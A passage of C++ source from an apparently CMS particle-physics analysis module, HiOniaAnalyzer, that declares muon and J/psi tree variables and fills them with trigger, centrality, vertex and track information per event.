Reco_QQ_4mom;\n TClonesArray* Reco_QQ_vtx;\n TClonesArray* Reco_QQ_mupl_4mom;\n TClonesArray* Reco_QQ_mumi_4mom;\n TClonesArray* Reco_trk_4mom;\n TClonesArray* Reco_trk_vtx;\n\n TClonesArray* Gen_mu_4mom;\n TClonesArray* Gen_mu_3vec;\n TClonesArray* Gen_QQ_4mom;\n TClonesArray* Gen_QQ_mupl_4mom;\n TClonesArray* Gen_QQ_mumi_4mom;\n\n static const int Max_QQ_size = 100;\n static const int Max_mu_size = 100;\n static const int Max_trk_size = 10000;\n\n int Gen_QQ_size; // number of generated Onia\n int Gen_QQ_type[Max_QQ_size]; // Onia type: prompt, non-prompt, unmatched\n int Gen_QQ_momId[Max_QQ_size]; // pdgId of mother particle of 2 muons\n float Gen_QQ_ctau[Max_QQ_size]; // ctau: flight time\n \n \n int Gen_mu_size; // number of generated muons\n int Gen_mu_charge[Max_mu_size]; // muon charge\n int Gen_mu_type[Max_mu_size]; // muon type: prompt, non-prompt, unmatched\n\n int Reco_QQ_size; // Number of reconstructed Onia \n int Reco_QQ_type[Max_QQ_size]; // Onia category: GG, GT, TT\n int Reco_QQ_sign[Max_QQ_size]; /* Mu Mu combinations sign:\n 0 = +/- (signal)\n 1 = +/+\n 2 = -/- \n */\n int Reco_QQ_trig[Max_QQ_size]; // Vector of trigger bits matched to the Onia\n float Reco_QQ_VtxProb[Max_QQ_size]; // chi2 probability of vertex fitting \n float Reco_QQ_ctau[Max_QQ_size]; // ctau: flight time\n float Reco_QQ_ctauErr[Max_QQ_size]; // error on ctau\n float Reco_QQ_ctauTrue[Max_QQ_size];// true ctau\n float Reco_QQ_dca[Max_QQ_size];\n float Reco_QQ_MassErr[Max_QQ_size];\n\n int Reco_QQ_NtrkPt02[Max_QQ_size];\n int Reco_QQ_NtrkPt03[Max_QQ_size];\n int Reco_QQ_NtrkPt04[Max_QQ_size];\n\n int Reco_QQ_NtrkDeltaR03[Max_QQ_size];\n int Reco_QQ_NtrkDeltaR04[Max_QQ_size];\n int Reco_QQ_NtrkDeltaR05[Max_QQ_size];\n\n bool Reco_QQ_mupl_TrkMuArb[Max_QQ_size]; // Vector of TrackerMuonArbitrated for plus muon\n bool Reco_QQ_mumi_TrkMuArb[Max_QQ_size]; // Vector of TrackerMuonArbitrated for minus muon\n bool Reco_QQ_mupl_TMOneStaTight[Max_QQ_size]; // Vector of TMOneStationTight for plus muon\n bool Reco_QQ_mumi_TMOneStaTight[Max_QQ_size]; // Vector of TMOneStationTight for minus muon\n\n int Reco_QQ_mupl_nMuValHits[Max_QQ_size]; // Number of valid muon hits in plus sta muons\n int Reco_QQ_mumi_nMuValHits[Max_QQ_size]; // Number of valid muon hits in minus sta muons\n int Reco_QQ_mupl_nTrkHits[Max_QQ_size]; // track hits plus global muons\n int Reco_QQ_mumi_nTrkHits[Max_QQ_size]; // track hits minus global muons\n int Reco_QQ_mupl_nPixWMea[Max_QQ_size]; // pixel layers with measurement for plus inner track muons\n int Reco_QQ_mumi_nPixWMea[Max_QQ_size]; // pixel layers with measurement for minus inner track muons\n int Reco_QQ_mupl_nTrkWMea[Max_QQ_size]; // track layers with measurement for plus inner track muons\n int Reco_QQ_mumi_nTrkWMea[Max_QQ_size]; // track layers with measurement for minus inner track muons\n int Reco_QQ_mupl_StationsMatched[Max_QQ_size]; // number of stations matched for plus inner track muons\n int Reco_QQ_mumi_StationsMatched[Max_QQ_size]; // number of stations matched for minus inner track muons\n float Reco_QQ_mupl_normChi2_inner[Max_QQ_size]; // chi2/ndof for plus inner track muons\n float Reco_QQ_mumi_normChi2_inner[Max_QQ_size]; // chi2/ndof for minus inner track muons\n float Reco_QQ_mupl_normChi2_global[Max_QQ_size]; // chi2/ndof for plus global muons\n float Reco_QQ_mumi_normChi2_global[Max_QQ_size]; // chi2/ndof for minus global muons\n float Reco_QQ_mupl_dxy[Max_QQ_size]; // dxy for plus inner track muons\n float Reco_QQ_mumi_dxy[Max_QQ_size]; // dxy for minus inner track muons\n float Reco_QQ_mupl_dxyErr[Max_QQ_size]; // dxy error for plus inner track muons\n float Reco_QQ_mumi_dxyErr[Max_QQ_size]; // dxy error for minus inner track muons\n float Reco_QQ_mupl_dz[Max_QQ_size]; // dz for plus inner track muons\n float Reco_QQ_mumi_dz[Max_QQ_size]; // dz for minus inner track muons\n float Reco_QQ_mupl_dzErr[Max_QQ_size]; // dz error for plus inner track muons\n float Reco_QQ_mumi_dzErr[Max_QQ_size]; // dz error for minus inner track muons\n float Reco_QQ_mupl_pt_inner[Max_QQ_size]; // pT for plus inner track muons\n float Reco_QQ_mumi_pt_inner[Max_QQ_size]; // pT for minus inner track muons\n float Reco_QQ_mupl_pt_global[Max_QQ_size]; // pT for plus global muons\n float Reco_QQ_mumi_pt_global[Max_QQ_size]; // pT for minus global muons\n float Reco_QQ_mupl_ptErr_inner[Max_QQ_size]; // pT error for plus inner track muons\n float Reco_QQ_mumi_ptErr_inner[Max_QQ_size]; // pT error for minus inner track muons\n float Reco_QQ_mupl_ptErr_global[Max_QQ_size]; // pT error for plus global muons\n float Reco_QQ_mumi_ptErr_global[Max_QQ_size]; // pT error for minus global muons\n\n int Reco_mu_size; // Number of reconstructed muons\n int Reco_mu_trig[Max_mu_size]; // Vector of trigger bits matched to the muons\n int Reco_mu_charge[Max_mu_size]; // Vector of charge of muons\n int Reco_mu_type[Max_mu_size]; // Vector of type of muon (global=0, tracker=1, calo=2) \n\n bool Reco_mu_TrkMuArb[Max_mu_size]; // Vector of TrackerMuonArbitrated\n bool Reco_mu_TMOneStaTight[Max_mu_size]; // Vector of TMOneStationTight\n\n int Reco_mu_nMuValHits[Max_mu_size]; // Number of valid muon hits in sta muons\n int Reco_mu_nTrkHits[Max_mu_size]; // track hits global muons\n int Reco_mu_nPixWMea[Max_mu_size]; // pixel layers with measurement for inner track muons\n int Reco_mu_nTrkWMea[Max_mu_size]; // track layers with measurement for inner track muons\n int Reco_mu_StationsMatched[Max_mu_size]; // number of stations matched for inner track muons\n float Reco_mu_normChi2_inner[Max_mu_size]; // chi2/ndof for inner track muons\n float Reco_mu_normChi2_global[Max_mu_size]; // chi2/ndof for global muons\n float Reco_mu_dxy[Max_mu_size]; // dxy for inner track muons\n float Reco_mu_dxyErr[Max_mu_size]; // dxy error for inner track muons\n float Reco_mu_dz[Max_mu_size]; // dz for inner track muons\n float Reco_mu_dzErr[Max_mu_size]; // dz error for inner track muons\n float Reco_mu_pt_inner[Max_mu_size]; // pT for inner track muons\n float Reco_mu_pt_global[Max_mu_size]; // pT for global muons\n float Reco_mu_ptErr_inner[Max_mu_size]; // pT error for inner track muons\n float Reco_mu_ptErr_global[Max_mu_size]; // pT error for global muons\n \n /*\n float Reco_mu_ptErr[Max_mu_size]; // Vector of err on pt of muons\n float Reco_mu_phiErr[Max_mu_size]; // Vector of err on phi of muons\n float Reco_mu_etaErr[Max_mu_size]; // Vector of err on eta of muons\n float Reco_mu_d0[Max_mu_size]; // Vector of d0 of muons\n float Reco_mu_d0err[Max_mu_size]; // Vector of d0err of muons\n float Reco_mu_dz[Max_mu_size]; // Vector of dz of muons\n float Reco_mu_dzerr[Max_mu_size]; // Vector of dzerr of muons\n float Reco_mu_normChi2[Max_mu_size]; // Vector of chi2/ndof of muons\n int Reco_mu_nhitsCSC[Max_mu_size]; // Vector of number of valid hits of muons\n int Reco_mu_nhitsDT[Max_mu_size]; // Vector of number of valid hits of muons\n int Reco_mu_nhitsTrack[Max_mu_size]; // Vector of number of valid hits of muons\n float Reco_mu_caloComp[Max_mu_size]; // Vector of calorimeter compatibilities\n float Reco_mu_segmComp[Max_mu_size]; // Vector of muon segment compatibilities \n float Reco_mu_iso[Max_mu_size]; // Vector of isolations (NOW ONLY SUMPt OF TRACKS) \n int Reco_mu_nhitsStrip[Max_mu_size]; // Vectors of strip/pixel hits\n int Reco_mu_nhitsPixB[Max_mu_size];\n int Reco_mu_nhitsPixE[Max_mu_size];\n int Reco_mu_nhitsPix1Hit[Max_mu_size];\n int Reco_mu_nhitsPix1HitBE[Max_mu_size];\n */\n int muType; // type of muon (global=0, tracker=1, calo=2, none=-1) \n\n int Reco_trk_size; // Number of reconstructed tracks\n int Reco_trk_charge[Max_trk_size]; // Vector of charge of tracks\n float Reco_trk_dxyError[Max_trk_size];\n float Reco_trk_dzError[Max_trk_size];\n\n // Event Plane variables\n int nEP;\n int nNfEP;\n float rpAng[100];\n float rpCos[100];\n float rpSin[100];\n float NfRpAng[100];\n float NfRpCos[100];\n float NfRpSin[100];\n\n // histos\n TH1F* hGoodMuonsNoTrig;\n TH1F* hGoodMuons;\n TH1F* hL1DoubleMuOpen;\n TH1F* hL2DoubleMu3;\n TH1F* hL3Mu12;\n\n MyCommonHistoManager* myRecoMuonHistos;\n MyCommonHistoManager* myRecoGlbMuonHistos;\n MyCommonHistoManager* myRecoTrkMuonHistos;\n\n MyCommonHistoManager* myRecoJpsiHistos;\n MyCommonHistoManager* myRecoJpsiGlbGlbHistos;\n MyCommonHistoManager* myRecoJpsiGlbTrkHistos;\n MyCommonHistoManager* myRecoJpsiTrkTrkHistos;\n\n // event counters\n TH1F* hStats;\n\n // centrality\n TH1F *hCent;\n\n // number of primary vertices\n TH1F* hPileUp;\n\n // z vertex distribution\n TH1F* hZVtx;\n\n // centrality\n CentralityProvider* centrality_;\n int centBin;\n int theCentralityBin;\n int Npix, NpixelTracks, Ntracks;\n float SumET_HF, SumET_HFplus, SumET_HFminus, SumET_HFplusEta4, SumET_HFminusEta4, SumET_EB, SumET_ET, SumET_EE, SumET_EEplus, SumET_EEminus, SumET_ZDC, SumET_ZDCplus, SumET_ZDCminus;\n\n\n // handles\n edm::Handle<pat::CompositeCandidateCollection> collJpsi;\n edm::Handle<pat::MuonCollection> collMuon;\n edm::Handle<pat::MuonCollection> collMuonNoTrig;\n edm::Handle<reco::TrackCollection> collTracks;\n\n edm::Handle<reco::GenParticleCollection> collGenParticles;\n\n edm::Handle<edm::TriggerResults> collTriggerResults;\n\n // data members\n edm::InputTag _patMuon;\n edm::InputTag _patMuonNoTrig;\n edm::InputTag _patJpsi;\n edm::InputTag _recoTracks;\n edm::InputTag _genParticle;\n edm::InputTag _thePVs;\n edm::InputTag _tagTriggerResults;\n edm::InputTag _tagCentrality;\n std::string _histfilename;\n std::string _datasetname;\n\n std::vector<double> _ptbinranges;\n std::vector<double> _etabinranges;\n std::vector<double> _centralityranges;\n std::vector<string> _dblTriggerPathNames;\n std::vector<string> _dblTriggerFilterNames;\n std::vector<string> _sglTriggerPathNames;\n std::vector<string> _sglTriggerFilterNames;\n bool _onlythebest;\n bool _applycuts;\n bool _storeefficiency;\n bool _muonLessPrimaryVertex;\n bool _useBS;\n bool _useRapidity;\n bool _removeSignal;\n bool _removeMuons;\n bool _storeSs;\n bool _combineCategories;\n bool _fillRooDataSet;\n bool _fillTree;\n bool _fillHistos;\n bool _theMinimumFlag;\n bool _fillSingleMuons;\n bool _fillRecoTracks;\n bool _isHI;\n bool _isPA;\n bool _isMC;\n bool _isPromptMC;\n\n int _oniaPDG;\n\n std::vector<unsigned int> _thePassedCats[3];\n std::vector<const pat::CompositeCandidate*> _thePassedCands[3];\n\n std::vector<uint32_t> _thePassedPFPhotons;\n std::vector<uint32_t> _thePassedPFPhotonsForPi0Rejection;\n\n // number of events\n unsigned int nEvents;\n unsigned int passedCandidates;\n\n unsigned int runNb;\n unsigned int eventNb;\n unsigned int lumiSection;\n\n // limits \n float JpsiMassMin;\n float JpsiMassMax;\n float JpsiMassMinSide;\n float JpsiMassMaxSide;\n float JpsiCtMin;\n float JpsiCtMax;\n float JpsiPtMin; // SET BY \n float JpsiPtMax; // DEFINITION\n float JpsiRapMin; // OF BIN\n float JpsiRapMax; // LIMITS \n\n math::XYZPoint RefVtx;\n float RefVtx_xError;\n float RefVtx_yError;\n float RefVtx_zError;\n float zVtx;\n float nPV;\n\n // Triger stuff\n // PUT HERE THE *LAST FILTERS* OF THE BITS YOU LIKE\n static const unsigned int sNTRIGGERS = 20;\n unsigned int NTRIGGERS;\n unsigned int NTRIGGERS_DBL;\n\n // MC 8E29\n bool isTriggerMatched[sNTRIGGERS];\n std::string HLTLastFilters[sNTRIGGERS];\n bool alreadyFilled[sNTRIGGERS];\n int HLTriggers;\n\n std::map<std::string, int> mapTriggerNameToIntFired_;\n std::map<std::string, int> mapTriggerNameToPrescaleFac_;\n\n const edm::ParameterSet _iConfig;\n};\n\n//\n// constants, enums and typedefs\n//\n\n//\n// static data member definitions\n//\n\n//\n// constructors and destructor\n//\nHiOniaAnalyzer::HiOniaAnalyzer(const edm::ParameterSet& iConfig):\n _patMuon(iConfig.getParameter<edm::InputTag>(\"srcMuon\")),\n _patMuonNoTrig(iConfig.getParameter<edm::InputTag>(\"srcMuonNoTrig\")),\n _patJpsi(iConfig.getParameter<edm::InputTag>(\"src\")),\n _recoTracks(iConfig.getParameter<edm::InputTag>(\"srcTracks\")),\n _genParticle(iConfig.getParameter<edm::InputTag>(\"genParticles\")),\n _thePVs(iConfig.getParameter<edm::InputTag>(\"primaryVertexTag\")),\n _tagTriggerResults(iConfig.getParameter<edm::InputTag>(\"triggerResultsLabel\")),\n _tagCentrality(iConfig.getParameter<edm::InputTag>(\"srcCentrality\")),\n _histfilename(iConfig.getParameter<std::string>(\"histFileName\")), \n _datasetname(iConfig.getParameter<std::string>(\"dataSetName\")), \n _ptbinranges(iConfig.getParameter< std::vector<double> >(\"pTBinRanges\")), \n _etabinranges(iConfig.getParameter< std::vector<double> >(\"etaBinRanges\")),\n _centralityranges(iConfig.getParameter< std::vector<double> >(\"centralityRanges\")), \n _dblTriggerPathNames(iConfig.getParameter< std::vector<string> >(\"dblTriggerPathNames\")),\n _dblTriggerFilterNames(iConfig.getParameter< std::vector<string> >(\"dblTriggerFilterNames\")),\n _sglTriggerPathNames(iConfig.getParameter< std::vector<string> >(\"sglTriggerPathNames\")),\n _sglTriggerFilterNames(iConfig.getParameter< std::vector<string> >(\"sglTriggerFilterNames\")),\n _onlythebest(iConfig.getParameter<bool>(\"onlyTheBest\")), \n _applycuts(iConfig.getParameter<bool>(\"applyCuts\")), \n _storeefficiency(iConfig.getParameter<bool>(\"storeEfficiency\")), \n _muonLessPrimaryVertex(iConfig.getParameter<bool>(\"muonLessPV\")),\n _useBS(iConfig.getParameter<bool>(\"useBeamSpot\")),\n _useRapidity(iConfig.getParameter<bool>(\"useRapidity\")),\n _removeSignal(iConfig.getUntrackedParameter<bool>(\"removeSignalEvents\",false)),\n _removeMuons(iConfig.getUntrackedParameter<bool>(\"removeTrueMuons\",false)),\n _storeSs(iConfig.getUntrackedParameter<bool>(\"storeSameSign\",false)),\n _combineCategories(iConfig.getParameter<bool>(\"combineCategories\")),\n _fillRooDataSet(iConfig.getParameter<bool>(\"fillRooDataSet\")), \n _fillTree(iConfig.getParameter<bool>(\"fillTree\")), \n _fillHistos(iConfig.getParameter<bool>(\"fillHistos\")),\n _theMinimumFlag(iConfig.getParameter<bool>(\"minimumFlag\")), \n _fillSingleMuons(iConfig.getParameter<bool>(\"fillSingleMuons\")),\n _fillRecoTracks(iConfig.getParameter<bool>(\"fillRecoTracks\")),\n _isHI(iConfig.getUntrackedParameter<bool>(\"isHI\",false) ),\n _isPA(iConfig.getUntrackedParameter<bool>(\"isPA\",true) ),\n _isMC(iConfig.getUntrackedParameter<bool>(\"isMC\",false) ),\n _isPromptMC(iConfig.getUntrackedParameter<bool>(\"isPromptMC\",true) ),\n _oniaPDG(iConfig.getParameter<int>(\"oniaPDG\")),\n _iConfig(iConfig)\n{\n //now do what ever initialization is needed\n nEvents = 0;\n passedCandidates = 0;\n centrality_ = 0;\n\n theRegions.push_back(\"All\");\n theRegions.push_back(\"Barrel\");\n theRegions.push_back(\"EndCap\");\n\n std::stringstream centLabel;\n for (unsigned int iCent=0; iCent<_centralityranges.size(); ++iCent) {\n if (iCent==0)\n centLabel << \"00\" << _centralityranges.at(iCent);\n else\n centLabel << _centralityranges.at(iCent-1) << _centralityranges.at(iCent);\n\n theCentralities.push_back(centLabel.str());\n centLabel.str(\"\");\n }\n theCentralities.push_back(\"MinBias\");\n\n theSign.push_back(\"pm\");\n if (_storeSs) {\n theSign.push_back(\"pp\");\n theSign.push_back(\"mm\");\n }\n\n NTRIGGERS_DBL = _dblTriggerPathNames.size();\n NTRIGGERS = NTRIGGERS_DBL + _sglTriggerPathNames.size() + 1; // + 1 for \"NoTrigger\"\n std::cout << \"NTRIGGERS_DBL = \" << NTRIGGERS_DBL << \"\\t NTRIGGERS_SGL = \" << _sglTriggerPathNames.size() << \"\\t NTRIGGERS = \" << NTRIGGERS << std::endl;\n\n isTriggerMatched[0]=true; // first entry 'hardcoded' true to accept \"all\" events\n HLTLastFilters[0] = \"\";\n theTriggerNames.push_back(\"NoTrigger\");\n\n for (unsigned int iTr = 1; iTr<NTRIGGERS; ++iTr) {\n isTriggerMatched[iTr] = false;\n\n if (iTr<=NTRIGGERS_DBL) {\n HLTLastFilters[iTr] = _dblTriggerFilterNames.at(iTr-1);\n theTriggerNames.push_back(_dblTriggerPathNames.at(iTr-1));\n }\n else {\n HLTLastFilters[iTr] = _sglTriggerFilterNames.at(iTr-NTRIGGERS_DBL-1);\n theTriggerNames.push_back(_sglTriggerPathNames.at(iTr-NTRIGGERS_DBL-1));\n }\n std::cout<<\" Trigger \"<<iTr<<\"\\t\"<<HLTLastFilters[iTr]<<std::endl;\n }\n\n etaMax = 2.4;\n\n JpsiMassMin = 2.6;\n JpsiMassMax = 3.5;\n JpsiMassMinSide = 0.;\n JpsiMassMaxSide = 12.0;\n JpsiCtMin = -1.0;\n JpsiCtMax = 3.5;\n\n JpsiPtMin = _ptbinranges[0];\n std::cout << \"Pt min = \" << JpsiPtMin << std::endl;\n JpsiPtMax = _ptbinranges[_ptbinranges.size()-1];\n std::cout << \"Pt max = \" << JpsiPtMax << std::endl;\n\n \n JpsiRapMin = _etabinranges[0];\n std::cout << \"Rap min = \" << JpsiRapMin << std::endl;\n JpsiRapMax = _etabinranges[_etabinranges.size()-1];\n std::cout << \"Rap max = \" << JpsiRapMax << std::endl;\n \n\n for(std::vector<std::string>::iterator it = theTriggerNames.begin(); it != theTriggerNames.end(); ++it){\n mapTriggerNameToIntFired_[*it] = -9999;\n }\n}\n\n\nHiOniaAnalyzer::~HiOniaAnalyzer()\n{\n \n // do anything here that needs to be done at desctruction time\n // (e.g. close files, deallocate resources etc.)\n\n}\n\n\n//\n// member functions\n//\n\n// ------------ method called to for each event ------------\nvoid\nHiOniaAnalyzer::analyze(const edm::Event& iEvent, const edm::EventSetup& iSetup)\n{\n // using namespace edm;\n InitEvent();\n\n nEvents++;\n hStats->Fill(BIN_nEvents);\n \n runNb = iEvent.id().run();\n eventNb = iEvent.id().event();\n lumiSection = iEvent.luminosityBlock();\n \n edm::Handle<reco::VertexCollection> privtxs;\n iEvent.getByLabel(_thePVs, privtxs);\n reco::VertexCollection::const_iterator privtx;\n\n nPV = privtxs->size();\n \n if ( privtxs->begin() != privtxs->end() ) {\n privtx=privtxs->begin();\n RefVtx = privtx->position();\n RefVtx_xError = privtx->xError();\n RefVtx_yError = privtx->yError();\n RefVtx_zError = privtx->zError();\n } else {\n RefVtx.SetXYZ(0.,0.,0.);\n RefVtx_xError = 0.0;\n RefVtx_yError = 0.0;\n RefVtx_zError = 0.0;\n }\n\n zVtx = RefVtx.Z();\n\n hZVtx->Fill(zVtx);\n hPileUp->Fill(nPV);\n\n this->hltReport(iEvent, iSetup);\n\n for (unsigned int iTr = 1 ; iTr < theTriggerNames.size() ; iTr++) {\n if (mapTriggerNameToIntFired_[theTriggerNames.at(iTr)] == 3) {\n HLTriggers += pow(2,iTr-1);\n hStats->Fill(iTr); // event info\n }\n }\n\n if (_isHI || _isPA) {\n edm::Handle<reco::Centrality> collCentrality;\n iEvent.getByLabel(_tagCentrality,collCentrality);\n\n if(!centrality_) centrality_ = new CentralityProvider(iSetup);\n centrality_->newEvent(iEvent,iSetup); // make sure you do this first in every event\n centBin = centrality_->getBin();\n hCent->Fill(centBin);\n \n for (unsigned int iCent=0; iCent<_centralityranges.size(); ++iCent) {\n if ( (_isHI && centBin<_centralityranges.at(iCent)/2.5) ||\n (_isPA && centBin<_centralityranges.at(iCent)) ) {\n theCentralityBin=iCent;\n break;\n }\n }\n\n Npix = collCentrality->multiplicityPixel();\n NpixelTracks = collCentrality->NpixelTracks();\n Ntracks = collCentrality->Ntracks();\n\n SumET_HF = collCentrality->EtHFtowerSum();\n SumET_HFplus = collCentrality->EtHFtowerSumPlus();\n SumET_HFminus = collCentrality->EtHFtowerSumMinus();\n SumET_HFplusEta4 = collCentrality->EtHFtruncatedPlus();\n SumET_HFminusEta4 = collCentrality->EtHFtruncatedMinus();\n SumET_ZDC = collCentrality->zdcSum();\n SumET_ZDCplus = collCentrality->zdcSumPlus();\n SumET_ZDCminus = collCentrality->zdcSumMinus();\n SumET_EEplus = collCentrality->EtEESumPlus();\n SumET_EEminus = collCentrality->EtEESumMinus();\n SumET_EE = collCentrality->EtEESum();\n SumET_EB = collCentrality->EtEBSum();\n SumET_ET = collCentrality->EtMidRapiditySum();\n }\n else {\n centBin = 0;\n theCentralityBin=0;\n\n Npix = 0;\n NpixelTracks = 0;\n Ntracks = 0;\n\n SumET_HF = 0;\n SumET_HFplus = 0;\n SumET_HFminus = 0;\n SumET_HFplusEta4 = 0;\n SumET_HFminusEta4 = 0;\n SumET_ZDC = 0;\n SumET_ZDCplus = 0;\n SumET_ZDCminus = 0;\n SumET_EEplus = 0;\n SumET_EEminus = 0;\n SumET_EE = 0;\n SumET_EB = 0;\n SumET_ET = 0;\n }\n\n if (_isHI) {\n edm::Handle<reco::EvtPlaneCollection> FlatEvtPlanes;\n edm::Handle<reco::EvtPlaneCollection> NoFlatEvtPlanes;\n iEvent.getByLabel(\"hiEvtPlaneFlat\",FlatEvtPlanes);\n iEvent.getByLabel(\"hiEvtPlane\",\"recoLevel\",NoFlatEvtPlanes);\n\n if(FlatEvtPlanes.isValid()) {\n for (reco::EvtPlaneCollection::const_iterator rp = FlatEvtPlanes->begin(); rp!=FlatEvtPlanes->end(); rp++) {\n rpAng[nEP] = rp->angle();\n rpSin[nEP] = rp->sumSin();\n rpCos[nEP] = rp->sumCos();\n nEP++;\n }\n }\n else if (!_isMC) \n std::cout << \"Warning! Can't get flattened hiEvtPlane product!\" << std::endl;\n\n\n if(NoFlatEvtPlanes.isValid()){\n for (reco::EvtPlaneCollection::const_iterator rp = NoFlatEvtPlanes->begin();rp !=NoFlatEvtPlanes->end(); rp++) {\n NfRpAng[nNfEP] = rp->angle();\n NfRpSin[nNfEP] = rp->sumSin();\n NfRpCos[nNfEP] = rp->sumCos();\n nNfEP++;\n }\n }\n else if (!_isMC)\n std::cout << \"Warning! Can't get hiEvtPlane product!\" << std::endl;\n }\n\n iEvent.getByLabel(_patJpsi,collJpsi); \n iEvent.getByLabel(_patMuon,collMuon);\n iEvent.getByLabel(_patMuonNoTrig,collMuonNoTrig);\n iEvent.getByLabel(_recoTracks,collTracks);\n\n if (_isMC) {\n iEvent.getByLabel(_genParticle,collGenParticles);\n this->fillGenInfo();\n }\n \n // APPLY CUTS\n int lastSign = 0;\n this->makeCuts(0);\n if (_storeSs) {\n this->makeCuts(1);\n this->makeCuts(2);\n lastSign = 2;\n }\n\n if (_fillSingleMuons)\n this->fillRecoMuons(theCentralityBin);\n\n if (_fillRecoTracks)\n this->fillRecoTracks();\n\n this->fillRecoHistos(lastSign);\n\n if (_fillTree)\n myTree->Fill();\n\n return;\n}\n\nvoid\nHiOniaAnalyzer::fillRecoHistos(int lastSign) {\n\n // BEST J/PSI? \n if (_onlythebest) { // yes, fill simply the best (possibly same-sign)\n\n for (int iSign = 0; iSign <= lastSign; ++iSign) {\n pair< unsigned int, const pat::CompositeCandidate* > theBest = theBestQQ(iSign);\n if (theBest.first < 10) this->fillHistosAndDS(theBest.first, theBest.second);\n }\n\n } else { // no, fill all candidates passing cuts (possibly same-sign)\n \n for (int iSign = 0; iSign <= lastSign; ++iSign) {\n for( unsigned int count = 0; count < _thePassedCands[iSign].size(); count++) { \n const pat::CompositeCandidate* aJpsiCand = _thePassedCands[iSign].at(count); \n\n this->checkTriggers(aJpsiCand);\n if (_fillTree)\n this->fillTreeJpsi(iSign, count);\n\n for (unsigned int iTr=0; iTr<NTRIGGERS; ++iTr) {\n if (isTriggerMatched[iTr]) {\n this->fillRecoJpsi(iSign,count,theTriggerNames.at(iTr), theCentralities.at(theCentralityBin));\n }\n }\n }\n }\n }\n\n return;\n}\n\nvoid\nHiOniaAnalyzer::fillTreeMuon(const pat::Muon* muon, int iType, int trigBits) {\n if (Reco_mu_size >= Max_mu_size) {\n std::cout << \"Too many muons: \" << Reco_mu_size << std::endl;\n std::cout << \"Maximum allowed: \" << Max_mu_size << std::endl;\n return;\n }\n\n Reco_mu_charge[Reco_mu_size] = muon->charge();\n Reco_mu_type[Reco_mu_size] = iType;\n \n TLorentzVector vMuon = lorentzMomentum(muon->p4());\n new((*Reco_mu_4mom)[Reco_mu_size])TLorentzVector(vMuon);\n\n Reco_mu_trig[Reco_mu_size] = trigBits;\n\n reco::TrackRef iTrack = muon->innerTrack();\n \n if (!_theMinimumFlag) {\n Reco_mu_TrkMuArb[Reco_mu_size] = muon->muonID(\"TrackerMuonArbitrated\");\n Reco_mu_TMOneStaTight[Reco_mu_size] = muon->muonID(\"TMOneStationTight\");\n Reco_mu_nTrkHits[Reco_mu_size] = iTrack->found();\n Reco_mu_normChi2_inner[Reco_mu_size] = iTrack->normalizedChi2();\n Reco_mu_nPixWMea[Reco_mu_size] = iTrack->hitPattern().pixelLayersWithMeasurement();\n Reco_mu_nTrkWMea[Reco_mu_size] = iTrack->hitPattern().trackerLayersWithMeasurement();\n Reco_mu_StationsMatched[Reco_mu_size] = muon->numberOfMatchedStations();\n Reco_mu_dxy[Reco_mu_size] = iTrack->dxy(RefVtx);\n Reco_mu_dxyErr[Reco_mu_size] = iTrack->dxyError();\n Reco_mu_dz[Reco_mu_size] = iTrack->dz(RefVtx);\n Reco_mu_dzErr[Reco_mu_size] = iTrack->dzError();\n Reco_mu_pt_inner[Reco_mu_size] = iTrack->pt();\n Reco_mu_ptErr_inner[Reco_mu_size] = iTrack->ptError();\n \n if (muon->isGlobalMuon()) {\n reco::TrackRef gTrack = muon->globalTrack();\n Reco_mu_nMuValHits[Reco_mu_size] = gTrack->hitPattern().numberOfValidMuonHits();\n Reco_mu_normChi2_global[Reco_mu_size] = gTrack->normalizedChi2();\n Reco_mu_pt_global[Reco_mu_size] = gTrack->pt();\n Reco_mu_ptErr_global[Reco_mu_size] = gTrack->ptError();\n }\n else {\n Reco_mu_nMuValHits[Reco_mu_size] = -1;\n Reco_mu_normChi2_global[Reco_mu_size] = 999;\n Reco_mu_pt_global[Reco_mu_size] = -1;\n Reco_mu_ptErr_global[Reco_mu_size] = -1;\n }\n }\n\n Reco_mu_size++;\n return;\n}\n\nvoid\nHiOniaAnalyzer::fillTreeJpsi(int iSign, int count) {\n if (Reco_QQ_size >= Max_QQ_size) {\n std::cout << \"Too many dimuons: \" << Reco_QQ_size << std::endl;\n std::cout << \"Maximum allowed: \" << Max_QQ_size << std::endl;\n return;\n }\n\n const pat::CompositeCandidate* aJpsiCand = _thePassedCands[iSign].at(count);\n const pat::Muon* muon1 = dynamic_cast<const pat::Muon*>(aJpsiCand->daughter(\"muon1\"));\n const pat::Muon* muon2 = dynamic_cast<const pat::Muon*>(aJpsiCand->daughter(\"muon2\"));\n\n int trigBits=0;\n for (unsigned int iTr=1; iTr<NTRIGGERS; ++iTr) {\n if (isTriggerMatched[iTr])\n trigBits += pow(2,iTr-1);\n }\n\n cout << \"Reco_QQ_size\" << Reco_QQ_size << endl;\n cout << \"Reco_QQ_trig[\" <<Reco_QQ_size<<\"] \" << Reco_QQ_trig[Reco_QQ_size] << endl;\n Reco_QQ_sign[Reco_QQ_size] = iSign;\n Reco_QQ_type[Reco_QQ_size] = _thePassedCats[iSign].at(count);\n\n Reco_QQ_trig[Reco_QQ_size] = trigBits;\n\n if (_muonLessPrimaryVertex && aJpsiCand->hasUserData(\"muonlessPV\")) {\n RefVtx = (*aJpsiCand->userData<reco::Vertex>(\"muonlessPV\")).position();\n RefVtx_xError = (*aJpsiCand->userData<reco::Vertex>(\"muonlessPV\")).xError();\n RefVtx_yError = (*aJpsiCand->userData<reco::Vertex>(\"muonlessPV\")).yError();\n RefVtx_zError = (*aJpsiCand->userData<reco::Vertex>(\"muonlessPV\")).zError();\n }\n else if (!_muonLessPrimaryVertex && aJpsiCand->hasUserData(\"PVwithmuons\")) {\n RefVtx = (*aJpsiCand->userData<reco::Vertex>(\"PVwithmuons\")).position();\n RefVtx_xError = (*aJpsiCand->userData<reco::Vertex>(\"PVwithmuons\")).xError();\n RefVtx_yError = (*aJpsiCand->userData<reco::Vertex>(\"PVwithmuons\")).yError();\n RefVtx_zError = (*aJpsiCand->userData<reco::Vertex>(\"PVwithmuons\")).zError();\n }\n else\n cout << \"HiOniaAnalyzer::fillTreeJpsi: no PVfor muon pair stored\" << endl;\n\n new((*Reco_QQ_vtx)[Reco_QQ_size])TVector3(RefVtx.X(),RefVtx.Y(),RefVtx.Z());\n\n TLorentzVector vMuon1 = lorentzMomentum(muon1->p4());\n TLorentzVector vMuon2 = lorentzMomentum(muon2->p4());\n\n reco::TrackRef iTrack_mupl;\n reco::TrackRef gTrack_mupl;\n\n reco::TrackRef iTrack_mumi;\n reco::TrackRef gTrack_mumi;\n\n if (muon1->charge() > muon2->charge()) {\n 